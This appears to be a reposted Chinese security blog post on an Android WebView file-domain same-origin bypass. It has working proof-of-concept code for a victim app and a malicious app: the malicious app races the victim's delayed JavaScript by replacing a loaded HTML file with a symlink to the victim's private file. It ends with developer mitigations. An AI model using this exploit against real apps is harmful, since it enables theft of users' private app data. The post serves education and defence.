Webview File域同源策略绕过漏洞

来源:互联网 发布:ubuntu解压rar文件 编辑:程序博客网 时间:2024/06/02 06:54

  一个比较老的漏洞,不能远程利用,只能通过Malicious App来攻击。

一、漏洞原理

1、漏洞原理

  为了说明漏洞原理,这儿假设用户安装了两个App,第一个是攻击的App,即Benign App,另一个是Malicious App,也就是攻击者App。首先,由于Android沙箱机制的限制,Malicious App是不能访问Benign App的私有目录的。但是,如果Malicious App有了一个Webview,并且整个webview对外暴露,并且允许加载File域。那么,在Malicious App中设计一个File,并且在File中包含JS代码。那么,当Benign App加载了整个File之后,Malicious App把这个File删除。然后把Benign App的私有文件软链接到这个File,即创建了私有文件的快捷方式。此时,由于读取文件的操作实际上Benign App自己做的,所以能够读取私有文件。那么问题出在哪?就是File中的JS代码,JS文件虽然已经被删除,但是在File被删除前,JS代码已经加载。这样利用时间差,就可以读取私有文件了。

Created with Raphaël 2.1.0Malicious App传递通过Intent Uri启动Benign AppFile种包含的JS设置延迟执行代码,延迟时间t1Malicious App在benign App加载完File后删除File并软链接延迟执行的JS代码读取到了Benign App的私有文件

2、漏洞触发条件

  • WebView没有禁止使用file域;
  • WebView打开了对JavaScript的支持;

二、PoC代码

  • Benign App示例:
 package com.example.webviewfiledemo;import java.io.FileOutputStream;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.JsResult;import android.webkit.WebChromeClient;import android.webkit.WebView;import android.widget.Toast;public class MainActivity extends Activity {    private WebView webView;    private Uri mUri;    private String url;    String mUrl1 = "file:///android_asset/html/attack_file.html";    String mUrl2 = "file:///android_asset/html/test.html";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        webView = (WebView) findViewById(R.id.webview);        webView.getSettings().setJavaScriptEnabled(true);        webView.addJavascriptInterface(new JSInterface(), "jsInterface");        webView.getSettings().setAllowFileAccessFromFileURLs(false);        // webView.getSettings().setAllowFileAccess(false);        writeFileData("private.txt","被攻击的App的私有文件");        webView.setWebChromeClient(new WebChromeClient() {            @Override            public boolean onJsAlert(WebView view, String url, String message,                    JsResult result) {                // Required functionality here                return super.onJsAlert(view, url, message, result);            }        });        Intent i = getIntent();        if (i != null) {            mUri = i.getData();        }        if (mUri != null) {            url = mUri.toString();        }        if (url != null) {            webView.loadUrl(url);        }    }    //向指定的文件中写入指定的数据      public void writeFileData(String filename, String message){          try {             FileOutputStream fout = openFileOutput(filename, MODE_PRIVATE);//获得FileOutputStream             //将要写入的字符串转换为byte数组             byte[]  bytes = message.getBytes();             fout.write(bytes);//将byte数组写入文件             fout.close();//关闭文件输出流         } catch (Exception e) {             e.printStackTrace();         }      }     class JSInterface {        public String onButtonClick(String text) {            final String str = text;            runOnUiThread(new Runnable() {                @Override                public void run() {                    Log.e("leehong2", "onButtonClick: text = " + str);                    Toast.makeText(getApplicationContext(),                            "onButtonClick: text = " + str, Toast.LENGTH_LONG)                            .show();                }            });            return "This text is returned from Java layer.  js text = " + text;        }        public void onImageClick(String url, int width, int height) {            final String str = "onImageClick: text = " + url + "  width = "                    + width + "  height = " + height;            Log.i("leehong2", str);            runOnUiThread(new Runnable() {                @Override                public void run() {                    Toast.makeText(getApplicationContext(), str,                            Toast.LENGTH_LONG).show();                }            });        }    }}
  • Malicious App实例
package com.example.attackwebview;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;public class MainActivity extends Activity {    public final static String HTML =             "<body>" +            "<u>Wait a few seconds.</u>" +             "<script>" +            "var d = document;"+            "function doitjs(){"+            "var xhr = new XMLHttpRequest;"+            "xhr.onload = function(){"+            "var txt = xhr.responseText;"+            "d.body.appendChild(d.createTextNode(txt));"+            "alert(txt);"+"};"+            "xhr.open('GET',d.URL);"+            "xhr.send(null);"+            "}"+            "setTimeout(doitjs,8000);"+            "</script>"+            "</body>";    public static String MY_TMP_DIR;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();        doit();    }    public void doit() {        String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";        try {            cmdexec("mkdir " + MY_TMP_DIR);            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);            cmdexec("chmod -R 777 " + MY_TMP_DIR);            Thread.sleep(1000);            invokeVulnAPP("file://" + HTML_PATH);            Thread.sleep(6000);            cmdexec("rm " + HTML_PATH);            cmdexec("ln -s " + "/data/data/com.example.webviewfiledemo/files/private.txt" + " " + HTML_PATH);        } catch (Exception e) {            // TODO: handle exception        }    }    public void invokeVulnAPP(String url) {        try {            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));            intent.addCategory(Intent.CATEGORY_LAUNCHER);             intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");            startActivity(intent);        } catch (Exception e) {            // TODO: handle exception        }    }    public void cmdexec(String cmd) {        try {            String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };            Runtime.getRuntime().exec(tmp);        } catch (Exception e) {            // TODO: handle exception        }    }}
  • 结果实例

三、开发建议

  • 将不必要导出的组件设置为不导出

如果应用的组件不必要导出,建议显式设置所注册组件的“android:exported”属性为false;

  • 如果需要导出组件,禁止使用File域

如果应用的需要导出包含WebView的组件,建议禁止使用File域协议:

myWebView.getSettings. setAllowFileAccess(false);
  • 如果需要使用File协议,禁止File协议调用JavaScript

    如果应用的WebView需要使用File域协议,建议禁止File域协议调用JavaScript:

myWebView.getSettings. setJavaScriptEnabled(false);

参考:
[1]http://www.droidsec.cn/webview-file%E5%9F%9F%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
[2]http://blog.csdn.net/jltxgcy/article/details/50678304#quote

0 0
原创粉丝点击